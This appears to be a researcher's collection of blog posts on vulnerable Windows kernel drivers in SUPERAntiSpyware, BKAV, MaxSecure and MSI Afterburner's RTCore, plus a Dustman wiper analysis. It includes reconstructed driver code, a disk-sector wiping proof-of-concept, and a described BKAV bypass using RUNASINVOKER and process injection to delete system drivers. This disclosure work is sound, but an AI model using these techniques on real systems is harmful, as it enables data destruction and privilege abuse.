SUPERAntiSpyware Backdoor SASKUTIL64

Intro

Pic 1.Official logo that perfectly fits context.

While you probably never used this software you for sure heard about it like 10-12 years ago when it was heavily advertised as ultimate solution to the Windows spyware. From my opinion it always was a digital placebo which was hard to distinguish from typical fake av of that times. And, what a surprise, this software contain a specially designed system level backdoor any local user can use.

Quote from product web-site:

Protect your PC from malicious threats from malware, spyware, ransomware, trojans, keyloggers, and more.

No, it is not capable of that.
 

Drivers

SUPERAntiSpyware has a few kernel mode drivers in it typical x64 installation, no matter Free or Pro version. These drivers are: saskutil64.sys and sasdifsv64.sys - both have no description so I myself figured out what they do. For x86-32 version these drivers also present as saskutil.sys, sasdifsv.sys, however they contain much more functionality and have several unfixed CVE assigned: CVE-2018-6471, CVE-2018-6472, CVE-2018-6473, CVE-2018-6474, CVE-2018-6476. Why do I know they are unfixed? Doesn't even need to check the code - all drivers compiled and signed NINE years ago in 2011 😊 Honestly I think they either lost drivers source code or lost their developers who can refactor code and fix mentioned bugs. Plus SUPERAntiSpyware itself has EoP CVE-2018-6475. Very cool already isn't? Seems SUPERAntiSpyware era ended together with Windows XP EOL, F. The 32bit drivers are pure BSOD/EoP generators and it was already mentioned like 10 years ago here -> https://seclists.org/fulldisclosure/2010/Mar/195 However it is all not so important or useful because it apply to 32bit version. 

In x64 version all devices in all drivers have default security descriptor and can be accessed for read/write by everyone. We are looking for something that can be useful for us, extra functionality we can use later in different project(s).

First driver I took was sasdifsv64.sys, it does nothing as "driver" (despite having device object and symbolic link) and it only purpose is to execute two procedures at entry point. Purpose of them - read list of files from dedicated registry subkey and either delete or move them. This is a typical shitcode solution often seen in low quality products.

Backdoor

Saskutil64 is much more interesting. It has a single IOCTL 0x9C402140 and it has unexpected functionality. This IOCTL handler invokes function I called "SaskCallDriver" which purpose is to build synchronous I/O write request and send it to device specifed by user by name. This function works with user mode supplied buffer of the fixed size that is a structure defined as:

typedef struct _CALL_DRV {
    WCHAR DeviceName[2048];
    LARGE_INTEGER StartingOffset;      
    SIZE_T DataSize;                   
    PVOID DataPtr;          
} CALL_DRV, * PCALL_DRV;

This structure declaration is self explaining, DeviceName should be fully qualified name of the device and DataPtr is a pointer to buffer located in user mode. The SaskCallDriver function bugged itself as it misses error handling in critical parts of the code and wrong data from user mode can easily result in system denial of service. Reconstructed source code of function below, note multiple bugs which can only be made by totally incompetent developers:

NTSTATUS SaskCallDriver(PIRP Irp)
{
    CALL_DRV* CallDrvStruct;
    PVOID writeBuffer;
    IRP* writeIrp;
    UNICODE_STRING deviceString;
    IO_STATUS_BLOCK statusBlock;
    KEVENT waitEvent;
    PDEVICE_OBJECT deviceObject;
    LARGE_INTEGER startingOffset;
    PFILE_OBJECT fileObject;

    CallDrvStruct = (CALL_DRV*)Irp->AssociatedIrp.SystemBuffer;

    __try {

        //
        // This entire part makes no sense because IOCTL has transfer type METHOD_BUFFERED.
        // Thus pointer will always be kernel mode and this code will never be executed.
        //
        if ((ULONG_PTR)CallDrvStruct < 0x8000000000000000)
        {
            ProbeForRead(CallDrvStruct, 4120, 1);
            ProbeForWrite(CallDrvStruct, 4120, 1);
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {

        return STATUS_ACCESS_VIOLATION;

    }

    __try {

        writeBuffer = CallDrvStruct->DataPtr;

        //
        // This address comparison check ruins ProbeFor* functionality.
        // If invalid kernel address will be passed it won't be checked and code later will bugcheck.
        //
        if ((ULONG_PTR)writeBuffer < 0x8000000000000000)
        {
            ProbeForRead(writeBuffer, CallDrvStruct->DataSize, 1);
            ProbeForWrite(CallDrvStruct->DataPtr, CallDrvStruct->DataSize, 1);
        }

    }
    __except (EXCEPTION_EXECUTE_HANDLER) {

        return STATUS_ACCESS_VIOLATION;

    }

    RtlInitUnicodeString(&deviceString, CallDrvStruct->DeviceName);

    IoGetDeviceObjectPointer(&deviceString, 0x80, &fileObject, &deviceObject);  // No check of API call

    startingOffset = CallDrvStruct->StartingOffset;

    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);

    writeIrp = IoBuildSynchronousFsdRequest( // No check of API call
        IRP_MJ_WRITE,
        deviceObject,
        CallDrvStruct->DataPtr,
        CallDrvStruct->DataSize,
        &startingOffset,
        &waitEvent,
        &statusBlock);

    writeIrp->Flags = IRP_BUFFERED_IO;

    if (IofCallDriver(deviceObject, writeIrp) == STATUS_PENDING) // This will bugcheck if anything from above failed.
        KeWaitForSingleObject(&waitEvent, Executive, KernelMode, FALSE, NULL);

    return STATUS_SUCCESS;
}

This is pure backdoor by it nature, design and implementation. There is no security checks implemented in driver, it device has default security descriptor, it is also a complete disaster from programming point of view because authors of this code does not understand basics of Windows driver development at all. 

This code gives any local user ability write arbitrary data to the arbitrary device. I took some time looking how SUPERAntiSpyware uses this and it turns out it has NTFS parsing ability, so this IOCTL is used to work with filesystem data, presumable modify existing files/attributes during "spyware removal" procedures. As you can understand the usage of this feature maybe various, from trivial data wipe similar to APTs based on EldoS RawDisk (like for example Dustman) to elevation of privilege through rewriting files on disk. There is no adequate fix for this except removing that functionality completely and thus rewriting this driver from scratch. Below is a demonstration in Windows 10 latest version from regular user account. It is simple data wipe of disk sectors with:

    WCHAR writeData[512];

    memset(&writeData, 0xFF, sizeof(writeData));
    RtlSecureZeroMemory(&request, sizeof(request));

    wcscpy_s(request.DeviceName, L"\\Device\\Harddisk0\\DR0");
    request.DataSize = sizeof(writeData);
    request.DataPtr = (PVOID)&writeData;

    for (ULONG i = 0; i < 65; i++) {

        request.StartingOffset.LowPart = (i * 512);
        printf_s("[+] Writing 512 bytes buffer in DR0 device at offset 0x%llx\r\n", request.StartingOffset.QuadPart);

        ntStatus = CallDriver(deviceHandle,
            IOCTL_SAS_CALLDRIVER,
            &request,
            sizeof(CALL_DRV),
            NULL,
            0);

        printf_s("[+] CallDriver NTSTATUS 0x%lX\r\n", ntStatus);

    }

Pic 2. SASKUTIL device, default security descriptor.

Pic 3. Windows 10 version.

Pic 4. Data wipe in progress.

Pic 5. Data wipe complete.

Theoretically you can even try to send some tcp/udp packets with this thing. Such an ironic end of that SUPERAntiSpyware 😉 All current x64 versions with same driver and functionality are vulnerable - basically you can destroy all data on every PC where SUPERAntiSpyware x64 version installed and do this from any local account.

Since impact of making such information public maybe destructive it was decided notify vendor first. However it turns out they don't have easy ways to do that. In process of trying to communicate it was discovered that this vendor had previously ignored all found exploits for two years and produced series of absolutely inadequate fixes for exploits ten years ago, basically leaving them as is. Taking into account this and the fact that SUPERAntiSpyware as product looks totally obsolete it was decided to make information public. However if you for some unknown reason still use this software see Mitigations part to eliminate your risks. As of new users I highly do not recommend try/consider a purchase this software - this is not only waste of your time/money but also keep it mind you are installing easy to use backdoor on your PC which cannot be easily prevented.

Mitigations

As mitigations I would suggest immediately remove SUPERAntiSpyware and make sure it uninstalled all it drivers - check it files and registry entries. Until vendor will not remove this "functionality" backdoor completely this program should be considered dangerous to use. However history of SUPERAntiSpyware driver exploits shows these drivers are created by incompetent developers who are unfamiliar with Windows drivers development, so only possible good fix - total removal of drivers from this product.

SUPERAntiSpyware driver SASKUTIL64.sys should be blacklisted by file hash or certificate as it can be used by data wiping malware (most obvious and easy use). And don't forget to use latest available Windows 10 with hypervisor enforced code integrity and WD enabled (at least its written by much more competent devs).

BKAV - Arbitrary File Deletion Feature

Today post is a continuation of journey into the wonderful world of so called "security solutions" full of programming unicorns and other kind of pure magic. Today it will be about BKAV or Bkav, whatever. This software is from Vietnam. While it definitely better than previously analyzed "MaxSecure" scam, it still not something I would recommend to use 😊 If you care about your files, of course. 😅

Our target is BKAV Professional (Internet Security AI 2019 whatever this mean) - super duper last version available for download.

During it install and startup this software install and load the following drivers.

Pic 1. BKAV drivers.

All these drivers have devices everyone can access. It can take a while debugging and reversing all of them (despite most have identical code patterns) however I got success with my first driver I tried. It is called BkavSP.sys and this is "BKAV SD Minifilter Module", version 1.0.0.246. It is set to autoload each Windows boot with Start type set to SERVICE_SYSTEM_START. 

This driver has dispatch entry with user callable IOCTLs 0x2221CC, 0x22E141, 0x22E145. First one work with internal driver data, two others are more interesting. First is for file deletion, second is for file renaming. As filename they use parameter of device I/O control input buffer from user mode. However even if BKAV device called \Device\BkavSP has default security descriptor they can't be called directly without some little magic. This driver approves calls only from few processes that is hardcoded inside and requester checked everytime IOCTL 0x22E141 or 0x22E145 dispatch hit.

Approval algorithm is the following:

• Query requester full image path name, ZwQueryInformationProcess(ProcessImageFileName), shake it a bit, lower chars;

• Compare result with hardcoded values, if they equal - caller is trusted, process IOCTL.

Hardcoded values are: 

BkavService.exe, BluProService.exe, BkavFirewallService.exe, EnterpriseUpdateService.exe

They are expected to be in \SystemRoot\SysWOW64. And yes after installation there is at least one of them present - BkavService.exe. There is no validation if this is valid executables from BKAV or renamed or malicious, just filename comparison. Perhaps authors thinks if they are in SysWOW64 this protect them from tampering. That is a mistake. By the way I saw identical requester check in some trash from ASUS software with same pity result.

What we need to do is to run BkavService.exe with our code inside, create a typical zombie process. What is BkavService.exe? It is 32 bit application with requestedExecutionLevel = requireAdministrator set in embedded manifest. So we will use 32 bit loader and to be able to exploit this BKAVSP feature we need to bypass requireAdministrator manifest setting. We cannot modify this file as it in SYSWOW64 folder and we cannot use it from outside this folder. So we need another simple workaround. During CreateProcess phase we will create copy of our environment with RtlCreateEnvironment and extend it by RtlSetEnvironmentVariable with the new variable __COMPAT_LAYER with value RUNASINVOKER. Next this environment block will be supplied as parameter for CreateProcess API. This will override manifest setting and launch this BkavService.exe requiring administrator rights. From this zombie process we can do our "hack the planet" stuff. Even from Guest account.

The full source code below. As target for deletion selected Windows driver "pci.sys" with hardcoded path. You can use other filenames, they not necessary must be inside Windows directory.


I would suggest BKAV to reconsider the way they validate requester process, discover for yourself modern security API to secure driver devices and stop using code solutions found in Google search. Otherwise this is just another lolAV with loldrivers that only does damage to client PC. Moving this "security solution" to the Recycle Bin as usual.

Pic2. Running proof-of-concept from Guest account.

Pic 3. Inject success, device opened.

Pic 4. PCI.sys deleted successfully.

P.S. Journey will continue ⛵ The much more dangerous "security solutions" are still waiting for publication.

MaxSecure = MaxVulnerabilities or yet another legalized FakeAV~

While looking for more "loldrivers" I was digging into numerous crap utilities/bundles from various hardware vendors. Results were outstanding, few dozens of vulnerable drivers in most recent versions from all possible hardware vendors. Especially this apply to so-called "PC gaming" part and various "RGB control" trash. In their products you can find literally all kind of bugs from multiple software crashes to system denial of service and numerous LPE. Most of these bugged crap is WHQL signed. Unfortunately HVCI is not complete panacea here because in my tests most of drivers, where declared special support of Windows 10, perfectly works with HVCI enabled, while most dangerous features like overwriting memory are indeed will be blocked, everything else works as before. Not to say that HVCI is itself not ready to be mainstream and room of opportunities is still big. This feature is like 10 years late just as KPP during its appearance. The Microsoft is the only one who to blame here. Starting from chaos in their development guides, frameworks and available examples and ending up with the way they validate drivers for WHQL. It all become too complicated, too costly, too big and too crappy.

Next we are going to "fake av" scene, where multiple of so-called "antimalware" solutions in reality are working as digital placebo with additional dangerous impact because due to exceptional design and implementation they just extend attack surface of target machine. Last time I've checked AV's in the late of 200x, starting from that infamous bugged crap called Kaspersky AV 6.0/7.0 in 2007 (had a lots of ROFL's when I got a look on actual source code in 2010) and ending up with product from Daniloff sect (2009-2010). As reference for search we are looking on VirusTotal usual report of anything. With the desire to cram as much as possible vendors and their products (and probably because of trivial greed) VirusTotal now is like a shop window where you can find everything you want. Take a hint, while there more than 70 vendors listed in report, only ~20% of them are real AV with reputation, resources and knowledge base. Anything else here is an antispyware solutions at best, academic trash, co-branded trash and just a trash and legalized fakeAV's. The value of these legalized fakeAV's is ZERO, they don't deserve anything including bugreports - they are clients of Recycle Bin.

The first who got my attention was something called Zillya (it was in the end of VT report) - turned out it is another wannabeav this time from Ukraine. It has extremely vulnerable zef.sys driver which has assigned CVE-2018-5956, CVE-2018-5957, CVE-2018-5958. They are still valid as this vendor seems all busy with polishing it mediocre generic shitlike GUI. It was like a hint for me - oh lol, so in 2020 we still have situation like was 15 years ago and now it is even worse because number of vendors increased ten times. So I was looking for some fresh, new, unknown to me names in the scan list. And I found a true JEWEL of absurdity called MaxSecure.

Pic 1. Max Secure logo

Max Secure Software is from India. They develop so called "security" solutions of various kinds - full list here https://www.maxpcsecure.com/download.htm
Lets look on their top tier software bundle called Max Secure Total Security. Such names are usually good indicators of shitware. I would suggest authors consider few more cool secure names for their stuff like - Max Secure Total Secure Security and Max Secure Platinum Gold Security.

After installation on Windows 10 Max Secure Total Security load few drivers:

MaxCryptMon.sys (Max Secure Software Active Monitor Driver), WHQL
MaxMgr.sys (Max Secure Software Startup Manager Driver), WHQL
MaxProc64.sys (Max Secure Software Self Protection Driver), WHQL
MaxProtector64.sys (Max Secure Software Self Protection Driver), WHQL
SDActMonitor.sys (Max Secure Software Active Monitor Driver), WHQL

Spoiler: all these drivers are ridiculous inside and totally fucked up. Lets look what they do.

Pic 2. Max Secure installed callbacks as seen by WinObjEx64.

From the screenshot above it is obvious that MaxProc64 is responsible for protecting process objects and MaxProtector64 is for registry keys. Why not in single driver? That's interesting question, actually all this "product" is under big question mark - WTF is this?

Examining driver entries of all these drivers revealed they are build from the same base source code with copy-paste from Microsoft driver samples - https://github.com/microsoft/Windows-driver-samples Basically all these 5 drivers are build from one source code that just modified for each project. However MaxSecure managed to turn this code into circus of absurd. Taking MaxProc64 as example.

Pic 3. MaxProc64 driver entry.

The key functionality of WdmlibIoCreateDeviceSecure (IoCreateDeviceSecure) is mistreated and basically it call defaulted to simple IoCreateDevice. Which mean device object for this driver will have default security descriptor. Not to mention there is no check of APIs call results. I understand that SDDL language is very specific, however you can simple copy-paste ready-to-use SDDL string from the Microsoft examples. No, we have "~", whatever this mean. Not sure if this is a bug or intentional use. Anyway results on picture below.

Pic 4. Default SD as result of misused IoCreateDeviceSecure.

Since this code is shared between all five drivers, they all have the driver devices open for everyone access. There is a small exception for SDActMon as it seems created from more advanced source code version. However SDDL string they use here is equivalent to default security descriptor.

What can we do with these drivers? Not that much, however we can completely disable all it "protection". Each of this drivers contain IOCTL dispatch routine that always return STATUS_SUCCESS no matter if IOCTL is valid for this driver or not. Example from MaxProc64.
IOCTLs 0x220007 and 0x220015 are intended to change global variable state to TRUE or FALSE, which is later checked in the ObCallback routine. If it is set to FALSE this routine will quit without doing anything. The same IOCTLs present in SDActMon/MaxProtector64/MaxCryptMon drivers where they change behavior of CmCallback routine, allowing for example to completely disable this so-called "self-protection". If we look on dispatch routine IOCTL 0x220019 is a just BSOD-generator, as invalid data passed by DeviceIoControl will ultimately lead to exception and BSOD. This IOCTL shared between drivers and they all will blue screen as well. Other drivers (except MaxMgr which has empty dispatch routine) contain more IOCTLs (e.g. 0x220009, 0x220011 in MaxProtector64) and almost all of them can be bugchecked same way. Exceptional absence of any kind of quality.

Pic 5. Typical MaxSecurity.

These drivers actually doing almost nothing useful anyway. Some of them running system threads where endlessly looping over reading registry keys, some build list of blocked registry keys by reading it from INI file in program directory. Everything is completely bugged and BSOD friendly. All these drivers are written without proper understanding what they are doing and for sake of what. The only adequate solution to this MaxSecure chaos - complete it uninstall and manual cleanup if required.

Pic 6. Ultimate end for MaxSecure and it products.

Bonus or blast from the past.

While working this piece of software creates hidden directories in the root directory of your system drive. It stores multiple files inside which makes little sense but one of it got my attention. It is 32 bit driver called Data04.sys with internal name SDManager.sys signed with modern SHA256 certificate in 2018. This driver does nothing after load and it only purpose is to execute code at it driver entry. At first code attempts to delete file with ZwDeleteFile call and then if it was unsuccessful - overwrite this file with ZwCreateFile. The file it does not like is \SystemRoot\system32\drivers\TDSSserv.sys. Which is TDSS rootkit of version 1.0 distributed in 2008. This makes me think that the entire MaxSecure scam evolved from primitive noob solutions like this. What this ancient crap is doing in their modern software bundle is completely unknown.

VBoxHardenedLoader v2

Pic 1. VBoxHardenedLoader VM historical splash screen from 2014.

This is a major update of VBoxHardenedLoader which initial purpose is to hide VirtualBox from detection by various skid malware available up to date.

Key changes:

1. Support of new VirtualBox 6.1.x version

The VBox 6.1 version brings huge number of changes under the hood and none of previous loaders will work with it correctly. This includes updates ACPI tables, BIOS rom files and EFI ROM module.

2. New monitoring driver and new way of it loading.

VBoxHardenedLoader historically uses Tsugumi.sys to patch VBoxDD.dll library in run-time, when VBox process is loading them. This dll contain a lot of detection traces that next can be used to detect virtual machine from the inside. Because of idiotic feature created by Oracle and called "hardening" there is no other ways to do that on Windows except patch this dll during run-time and do this only from kernel mode as Oracle "hardening" actively opposes any attempt to do changes from user mode.

Since version 2 there is no more TDL involved as driver loader and as fact there is no more Tsugumi driver. TDL is known to have issues with newest Windows 10 versions as well as PatchGuard is really unhappy with drivers it map. Instead of TDL VBoxHardenedLoader is now include KDU (Kernel Driver Utility) codebase to install and start in kernel mode monitoring code. The entire KDU project as in fact was developed just to replace TDL for VBoxHardenedLoader. This new monitoring code is a shellcode version of initial Tsugumi driver specially reimplemented for KDU usage and PatchGuard checks. You can read how KDU work from it readme section of github https://github.com/hfiref0x/KDU#how-it-work. However this is *lite* version of what is used in VBoxHardenedLoader. Extended version does a lot more - it control Process Explorer victim driver unload routine (fully reimplements it) and uses victim driver data section to store it own data. In fact there is nothing much left from original Process Explorer driver after Tsugumi takes control.

This also highlights obvious limitation - when you are using VBoxHardenedLoader you can't use Process Explorer from SysInternals at full it capabilities. Well, it will work, but it driver won't accept any commands from Process Explorer application. If Process Explorer attempt to unload it driver this will just result in Tsugumi monitoring stop. Driver will be unloaded and next time when starting VM with settings from VBoxHardenedLoader you will have to restart loader again, otherwise VM won't start. So if you want a free and much more powerful alternative - just use Process Hacker instead. Honestly, Process Explorer is useless and seems exist just to serve as a placeholder for shellcodes.

3. Reimplemented installation guide to reflect main changes.

The above changes resulted in installation guide remake, everything related to TDL was removed. Some guide sections simplified, screenshots and settings refreshed for VBox v6.1.2.

Take a note that some detection vectors are still working because they based on things Oracle does not want (or able) to fix for years.

Project link
https://github.com/hfiref0x/VBoxHardenedLoader

P.S.
It would be much easier if in some day some smart guy from Oracle management will force out "hardening" idiocy or at least make it optional or/and configurable.

Unwinding RTCore

This is a response to recent Unwinder claims and behavior related to vulnerabilities found in his RTCore32/64 driver which is a part of MSI Afterburner. I almost forgot about him and his software but recently this guy reminded himself again.

RTCore overview
RTCore is a name of kernel mode driver used by MSI Afterburner software (https://www.msi.com/page/afterburner), quote "The world’s most recognized and widely used graphics card overclocking utility which gives you full control of your graphics cards". There are exist two variants of the RTCore driver, built from the same source - RTCore64.sys and RTCore32.sys, each for respective platform. This driver provides access to the physical memory, CPU MSR's, I/O ports read/write. Applications interact with driver via API layer implemented in RTCore.dll which is also a part of MSI Afterburner installation. Basically it is a simple "giveio" type helper driver.

This driver is a subject of legacy code, derived in mostly unmodified state likely from time when Windows XP (or even Windows 2k) was all new and shiny. That mean it doesn't care about security. Latest available RTCore drivers is able to run on most recent Windows 10 where enforced security was enabled. Historically RTCore is a part of RivaTuner code. In a short, RTCore is a wormhole.

Security issues of RTCore known for a long period of time, got various CVE id's and even caused author - Alexey Nicolaychuk aka Unwinder to publicly bitch about yet another publication (https://github.com/Barakat/CVE-2019-16098). TL;DR according to Alexey, no one notified him before publication, so it wasn't a "responsible disclosure". 

Is that true? Of course not, he was aware of this RTCore "feature" at least from 2016, see next.

It is worth to mention that I was using RivaTuner back to the 1999 and early 200x on Riva TNT2 next GeForce 2 MX400 and GeForce 3 Ti200 and this utility was indeed very helpful at that time. Than I got enough money to buy better hardware and RivaTuner moved to the Recycle Bin.

Response to CVE-2019-16098
No doubt his code and everything based on it is still very useful for a lot of people. However Alexey attitude to security of his products can only be described as "weird". This can be described by idiom "You can't teach an old dog new tricks".

Pic 1. Unwinder response to CVE-2019-16098.

Alexey probably unaware that this kind of bugs (vulnerabilities in third party drivers and especially in various utilities from hardware vendors) are common for years, and under "years" I mean YEARS (e.g. CVE-2008-5725). We still here and no apocalypse happened. He was so upset that he decided to write to the author of the exploit both on the github and on Twitter some mocking messages. Have no idea, probably if there was Facebook somewhere he would post here too, or already did? Well, what can I say, are you in need of some medicine, Alexey? This attitude is a common for some ex-USSR people who believe that sun is spinning around them and everybody owes something to them.

The Jar of Worms*
*(c) Unwinder, 2019
To understand what does this mean lets take as example UnknownCheats forum (UC) - probably the leading platform for game cheats developers available today. By it impact to the game cheats it probably can be compared to the wasm.ru impact on sophisticated malware development. Here, just by using forum search, you can find a multiple vulnerable drivers (even packs of them) with some already used in game cheats to bypass anticheat software. They use this for years and most of information freely available for both cheat/anticheat developers and very well indexed by search engines. Github is full of projects (of various quality) from UC members involving usage of these vulnerable drivers - these projects are provided as-is to everyone on various programming languages. While being written by mostly kids of school or college age 

Pic 2. Typical UC thread content
(https://www.unknowncheats.me/forum/2111513-post8.html).

they are usable as all you need from this is a concept.

Why there is no multiple use in malware area and where is the "jar of worms" located? So far this jar of worms exist only as Unwinder wet fantasy. If Alexey was not an amateur in the area where he is trying to picture himself as an expert (or if we go down to the Unwinder comments level - wannabeexpert) -  he would know about modern Windows security boundaries and thing called practicability. Difference between intentional and unintentional/forced usage. In cheats area - game hack users are actively involved in bypassing security mechanisms because they want to play with cheats and they ultimately looking for a way to do that. In malware - users are victims and while they can be social-engineered to bypass basic Windows security mechanisms in favour of malware needs, malware still will have to deal with Windows security. That moves practical usage of this drivers to the very specific APT area. 

RTCore problem
After dealing with "jar of worms" (yeah I like that) we suddenly discovering that RTCore author seems absolutely do not understand the "core" problem of his RTCore. Here is it, Alexey, specially for you - who are ignoring OS security model for decades, I'm showing you exact problem of your wormhole by design software.

Pic 3. RTCore DriverEntry.

Quote from MSDN

IoCreateDevice can only be used to create an unnamed device object, or a named device object for which a security descriptor is set by an INF file. Otherwise, drivers must use IoCreateDeviceSecure to create named device objects.


What happens here. When MSI Afterburner loads RTCore32/64 driver, it device object will be created with a default security descriptor. Which means literally any logged user on this machine can access this driver through it device with read/write permissions.

Pic 4. RTCore64 device security permissions.

RTCore gives you ability to read/write to the MSR's, I/O ports and memory. The first use of this RTCore "design" demonstrated by CVE-2019-16098 - elevation of privilege via typical EPROCESS structure modification. Another one (since this driver has ability to read/write arbitrary kernel memory) is driver mapping - something similar to TDL/Stryker/CapCom and multiple other mappers based on vulnerable third-party drivers. Since there is also feature to read and write to MSR's and ports - this makes RTCore awesome for exploiting.

Normally if your driver is something more complex than kernel mode "hello world" and has data read/write to user mode it must contain security checks. For example you can limit access to your driver using IoCreateDeviceSecure or/and check security context in your IOCTL handler, requester privileges etc - there are many ways to do that in the *right way*. If you for some reason cannot use shiny new APIs (for example, you are supporting Windows 2k 👻) you still can secure driver device using Rtl SD/Ace/Dacl documented APIs and ZwSetSecurityObject. It is not a problem.

The lack of security checking is a very common problem for software supposed to work with hardware. Few examples: system utilities (CVE-2017-15303), overclocking and other software from GPU/hardware vendors (CVE-2018-18536, CVE-2019-8372), hardware monitoring utilities (CVE-2018-8060, CVE-2018-8061), bios flashers (CVE-2019-5688) etc. A lot of them. Practically ALL drivers of that kind that I was investigating were vulnerable or based on vulnerable code. 

Pic 5. Choose your exploits provider.

If you need an example, here is it https://github.com/QCute/WinRing0/blob/master/dll/sys/OpenLibSys.c. This is open-source OpenLibSys driver from hiyohiyo who are now supposedly author of CrystalMark. The following driver named WinRing0 and used in multiple products up to date in mostly unmodified state (as WinRing0.sys, WinRing0x64.sys, could be different names). It lacks any security checks and just a wormhole driver by design. Its irony, but it has been reported as CVE-2017-14311 exploit for Netdecision 5.8.2 software few years ago. This driver is still used in various products in unmodified state. Here is a simple example how any unprivileged user can read/write to physical memory with help of that driver shipped together with EVGA Precision X OC v6.2.7. Probably this can be improved to local privileges elevation exploit similar to  CVE-2019-8372.

There is a nice collection of this kind of drivers with brief descriptions made by Eclypsium, https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md Please note that some vendors already provided new versions with improved security (for example Intel) and this list is incomplete, also you still can find exact old vulnerable drivers and use them.

If you look on "giveio" drivers from various vendors you will notice - they all almost the same, they only differ little in some implementation details and internal structures used to communicate with user mode. And they all of course signed 😊


RTCore wormhole*
*(c) hfiref0x, 2020
CVE-2019-16098 was targeting exact MSI Afterburner version - 4.6.2.15658, it is Afterburner 4.6.2 Beta 2. However given exploit will work with older versions of MSI Afterburner as they include same driver. In the next Afterburner version Unwinder proposed a fix for this CVE, you can find a little about it in the changelog (https://www.guru3d.com/files-details/msi-afterburner-beta-download.html) 

"Updated IO driver provides more secure MMIO and MSR access interface". 

More precisely it means that memory mapping IOCTLs now work only for hardware IO reserved address ranges. And he banned arbitrary MSR read/write, setting up restrictions on their IOCTLs. Driver also got EV certificate. This interesting though this exact "fixed" RTCore present only since MSI Afterburner 4.6.2 Beta 3, while it is pretty much similar to fixes announced by Unwider three years ago in comments to the rewolf post - MSI ntiolib.sys/winio.sys local privilege escalation. 

Pic 6. RTCore fix, announced in September 2016.

Even if this is, judging from Unwinder comment, partial fix - it is notable this updated RTCore component wasn't distributed with MSI Afterburner, until Barakat published his proof-of-concept and got CVE. How much other software with bundled RivaTuner code still not updated their RTCore related code base (even if these components may have different names)? Speaking about ethics, which is mentioned by Unwinder in above response to CVE-2019-16098, how does that correlates with it too? You have extremely vulnerable driver which code base used by different products, you have produced some "security related" changes, and for three years didn't even updated your own MSI Afterburner. Just because no one gives a single fuck until you got upset with publicly available CVE forcing you to jump to the twitter/issues shitpostings. This is hilarious, Unwinder. 

Okay, additions he made makes sense and question is only why there weren't here from the beginning. But seriously, is that the only problem this guy found? 😊 While Unwinder really likes to go on demagogy discussions about Windows security model, he still doesn't know how to use wdmsec.lib, maybe because MSI Afterbutner RTCore driver got compiled in something like Visual Studio 2005/2008 with DDK likely from Windows XP/Vista. No joke, just look at this driver structure. As you understand we still can use this driver for a range of bad things. For example for Denial of Service attack.

This is simple proof-of-concept code for "fixed" RTCore from MSI Afterburner 4.6.2.15745 release, it will write specific data to the I/O port to initiate immediate system reboot which can lead to data loss and/or potential hardware damage. From unprivileged, guest, whatever account. This of course will also work for previous variants of RTCore if they support required IOCTLs. That is not all - this driver still has a lot of potential, because there are multiple other IOCTLs.

The simple solution to that wormhole named RTCore is to move it into OS security boundary and stop bitching about self-made problems as Unwinder still does. Or do as I did many years ago - throw all these CD/DVDs supplied by GPU vendors with their crapware to the trashcan along with their authors as an ultimate solution to the security of this vector.

Dustman APT: Art of Copy-Paste

Dustman is a piece of data wiping malware with origin believed to be from Iran or if you like - quote from zdnet.com "Iranian state-sponsored hackers". 

There is a full technical overview of this malware -> https://www.scribd.com/document/442225568/Saudi-Arabia-CNA-report, I wouldn't waste time fully repeating it, as it gives a brief and enough description of this malware key parameters and capabilities.

Usually I pay zero attention to typical APT hysterics and low quality malware pushed by mass media/various fakeAv's as "incredible sophisticated" spyware/whatever. With exception if there is anything related to my work, for example copy/pasted from it. Just like in this case.

This is believed shared code with another data wiper called "ZeroCleare" - and IBM did analysis with 28 page PDF where they managed to copy-paste from my github repository without even giving a single credit or link to original. Well, ok, fuck you too IBM IRIS rippers 💩

Why this thing called Dustman? Well authors of this malware were lazy and left full pdb string inside main dropper C:\Users\Admin\Desktop\Dustman\x64\Release\Dustman.pdb. This doesn't look like fake and left because Visual Studio (and this one created in it) always sets debug information to Release builds by default (Project settings->Linker->Debugging). It is something from series of small tips just like if you are wondering why some of rootkits pdb paths always at Z: drive - easy to use hotkey while debugging on VMware.

Dustman main executable is a muldrop (SHA-1 e3ae32ebe8465c7df1225a51234f13e8a44969cc). 

It contain three more files stored inside executable resource section. They are encrypted with simple xor.

for (ULONG i = 0; i < (ResourceSize / sizeof(ULONG_PTR)); i++)
        Buffer[i] ^= 0x7070707070707070;


Resource with id 1 (decrypted SHA-1 7c1b25518dee1e30b5a6eaa1ea8e4a3780c24d0c) is a VirtualBox driver. It is ripped by me from WinNT/Turla (another APT, this time "believed" to be from GRU GS AF RF, that one by the way also had some references/inspirations of my/our previous work). Dustman author(s) got it from my github repository called TDL - Turla Driver Loader (https://github.com/hfiref0x/TDL), well not only that driver, half of their work actually blatant copy-paste of this repository.

Resource with id 103 (decrypted SHA-1 a7133c316c534d1331c801bbcd3f4c62141013a1) is Eldos RawDisk modified driver (version 3.0.31.121). It is modified by Dustman authors by removing digital certificate from it. Currently I have no answer why they did this, except Eldos RawDisk certificate is widely blacklisted or detected by intrusion prevention systems/AV as possible sign of threat as it was used before multiple times in different malwares (https://attack.mitre.org/software/S0364/)

Resource with id 106 (decrypted SHA-1 20d61c337653392ea472352931820dc60c37b2bc) is malware agent application that is intended to work with Eldos RawDisk to perform data wipe. It contain pdb string C:\Users\Admin\Desktop\Dustman\Furutaka\drv\agent.plain.pdb which is giving you insides on VS solution structure. Furutaka is an internal name that I gave to TDL project executable.

Initial dropper is a modified version of original TDL (Furutaka) version 1.1.5, so it is relatively new, as this is final version in that repository before it was archived at April 2019. Just to show you how much Dustman authors copy-pasted, here is a screenshot of functions which I was able to identify in this malware (while rest of them are various trash from MS runtime).

Pic 1. Dustman dropper functions.

It seems Dustman author(s) simple took TDL solution and then modified it by removing console/debug output in code and adapting it for their specific tasks - decrypt, drop resources to the disk, load RawDisk driver and start agent application at final stage. Lets take a look on modifications made by Dustman author(s).

